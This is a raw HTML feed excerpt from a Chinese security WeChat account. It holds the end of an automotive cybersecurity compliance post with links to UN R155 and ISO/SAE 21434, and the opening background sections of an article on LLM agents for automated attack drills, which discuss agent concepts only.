Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我是novy，目前在天问实验室从事车联网安全研究以及相关的体系法规认证工作，我们团队主要解决智能汽车的数据通信安全和合规落地等问题，帮助车企和供应商应对国内外法规挑战，希望本文能为大家提供帮助，在车辆网络安全工程中更高效地实现法规符合性和风险控制</span></p><h1 style="box-sizing: border-box;margin: 2em 0px 0.75em;font-weight: bold;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(234, 236, 239);color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">参考链接：</span></strong></h1><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">R155法规原文：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://unece.org/transport/documents/2021/03/standards/un-regulation-no-155-cyber-security-and-cyber-security" target="_blank">https://unece.org/transport/documents/2021/03/standards/un-regulation-no-155-cyber-security-and-cyber-security</a></span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">GRVA对R155法规的解释文档：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://unece.org/transport/documents/2022/04/working-documents/grva-proposal-amendments-interpretation-document-un" target="_blank">https://unece.org/transport/documents/2022/04/working-documents/grva-proposal-amendments-interpretation-document-un</a></span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">说明参考：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://novysodope.github.io/2024/12/08/114/#%E8%80%8C%E4%B8%94%E6%81%B6%E8%AF%84%E8%BF%98%E5%8F%AF%E4%BB%A5%E5%88%A0" target="_blank">https://novysodope.github.io/2024/12/08/114/#%E8%80%8C%E4%B8%94%E6%81%B6%E8%AF%84%E8%BF%98%E5%8F%AF%E4%BB%A5%E5%88%A0</a></span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ISO/SAE21434介绍：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px !important;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://blog.csdn.net/qq_33163046/article/details/123524602" target="_blank">https://blog.csdn.net/qq_33163046/article/details/123524602</a></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="白帽100安全攻防实验室" data-alias="whitecap100_team" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/aFJv52grsibtyuHs5s5D92P4R4dMMKLFKKxoJxSZib8LicZ0rbPGiaOOQTK84h7N93JRkpQAKOcHkmMrS22RO2QkMw/0?wx_fmt=png" data-signature="分享技术文章，做点我们能做的事   官网：www.whitecap100.org  DC0571：defcon.whitecap100.org   白帽100团队" data-id="MzIxMDYyNTk3Nw==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100002087" class="rich_pages wxw-img" data-ratio="0.28828125" data-s="300,640" data-type="png" data-w="1280" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=26986950&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibtxsRYLCF9T0TS74iaL70g7eQpPuUdm3bIeXIPBibfjbnTJylMkuAxIx8BctgBdibTgHicUTANJT40QPw%2F640%3Fwx_fmt%3Dpng"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ae0367f9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDYyNTk3Nw%3D%3D%26mid%3D2247515406%26idx%3D1%26sn%3Dd8b96ea9de99599973664714780ded80">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 29 Dec 2025 19:08:00 +0800</pubDate>
    </item>
    <item>
      <title>基于意图工程的自动化攻击演练落地实践</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247515406&amp;idx=2&amp;sn=57b4984dd35b4ccba1bbb4570a7c64af</link>
      <description>在这次技术分享中我会借助我这段时间基于LLM的自动化演练能力探索来为大家介绍在自动化演练场景下AI的介入是如何让其发挥更好的效果的</description>
      <content:encoded><![CDATA[<p><span>天下大木头</span> <span>2025-12-29 19:08</span> <span style="display: inline-block;">浙江</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1f396fa9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzKSnXgozzNeDzTtfVXOibvErUZLufWH12HAI8aPIPWZZAjGuXzHnPgKw%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>在这次技术分享中我会借助我这段时间基于LLM的自动化演练能力探索来为大家介绍在自动化演练场景下AI的介入是如何让其发挥更好的效果的</p>
  <h1 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.225;font-size: 1.75em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;heading&#34;,{&#34;tagName&#34;:&#34;h2&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;h2-1-&#34;,&#34;style&#34;:&#34;box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; font-weight: 700; line-height: 1.225; font-size: 1.75em; padding-bottom: 0.3em; border-bottom: 1px solid rgb(238, 238, 238); position: relative; color: rgb(51, 51, 51); font-family: \&#34;Microsoft YaHei\&#34;, Helvetica, \&#34;Meiryo UI\&#34;, \&#34;Malgun Gothic\&#34;, \&#34;Segoe UI\&#34;, \&#34;Trebuchet MS\&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, \&#34;Helvetica Neue\&#34;, \&#34;Droid Sans\&#34;, \&#34;wenquanyi micro hei\&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;,&#34;level&#34;:2}]">1. 背景</span></h1><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">随着agent发展，现在大家正在不断的对agent能力上限来进行探索，虽然在很多人眼中agent就是prompt+tool/functioncall+上下文，但是具体在实现过程中如何构建、如何实现存在着很多实现角度的差异，各种细微的实现以及全新的思路导致最终的整体效果带来的巨大差异，这也就是为什么目前claudecode这类的agent工具仍然没有被撼动</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在这次技术分享中我会借助我这段时间基于LLM的自动化演练能力探索来为大家介绍在自动化演练场景下AI的介入是如何让其发挥更好的效果的（技术点、困难），包括我也会介绍目前自动化演练过程中所采用的所谓“意图工程”，即更好的让agent的执行能够理解我们的意图，并且基于我们的意图来进行执行</span></p><h2 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.225;font-size: 1.75em;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2. Agent工程带来的范式改变</span></h2><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">目前的LLM主要就是生成式AI，本质其实就是预测，LLM作为一个预测引擎，基于我们的输入并基于模型训练的数据和提示词来生成对应的答案给我们，在调用基础大模型的时候本质上我们其实就是在进行一次问答，我们提出问题，然后大模型给出对应的结果。这其中每一步都需要人为的来进行驱动，并通过不断的对话来补充信息以此进行调整，所以如果仅仅依靠不断的与大模型来进行对话的场景下，在业务场景中就比较难有比较好的业务效果。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">然而随着外部不断的探索，现在Agent这个词语频繁的出现在各处，包括各种业务场景以及能力的落地都在描述着Agent。那么Agent和生成式AI之间到底有什么样的区别。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">本质上我们正在由「预测性AI」向「自动化Agent」进行转型</span></p><ol style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding: 0px 0px 0px 2em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">LLM不再仅仅给我们提供一个答案，而是能根据我们给定的目标来进行持续工作，并直至完成</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">我们不再需要依赖静态训练知识，我们可以让Agent来主动调用工具感知环境</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin-top: 16px;margin-bottom: 16px;"><span leaf="">我们不再仅仅是一次性调用，Agent是在一个循环中进行执行，就像ReAct等模式一样我们能够不断的进行「思考-拆解-观测-执行-修正」….</span></p></li></ol><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">所以在我看来，生成式AI大模型就像是大脑，而Agent更像是一个完整的人，我们通过给Agent工具、上下文、知识库，能够使得Agent能自动化的且不需要人工干预的完成我们的任务</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过外部的整体发展我们也能够发现大家现在从原先的prompt工程慢慢的到了上下文工程，这也侧面的说明了目前Agent的开发、应用已经到了很常见的地步</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">谷歌这里将Agent分成了level0-level4，目前绝大部分Agent都停留在Level3及以下，Level4的自我进化的Agent目前仍然是大家所探索的方向</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Level0-&gt;Level4:核心问题推理-&gt;连接工具的困难解决者-&gt;具备上下文的战略问题解决者-&gt;协作的多Agent-&gt;自我进化的Agent</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031677" alt="image.png" class="rich_pages wxw-img" data-ratio="0.4852459016393443" data-type="png" data-w="1220" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=dc6d32c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzFic5m5VkicJ4XmicVtUHHQbtbA8bNNh0eK75cLbIsXK9NGBnwULnuCGuA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">所以在Agent盛行的当下，功能的实现逐渐从原有的代码实现转而向以自然语言沟通的方式来解决问题，所以Agent能有效理解我们的意图、并且有效的执行在我看来是最关键的两个部分。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: 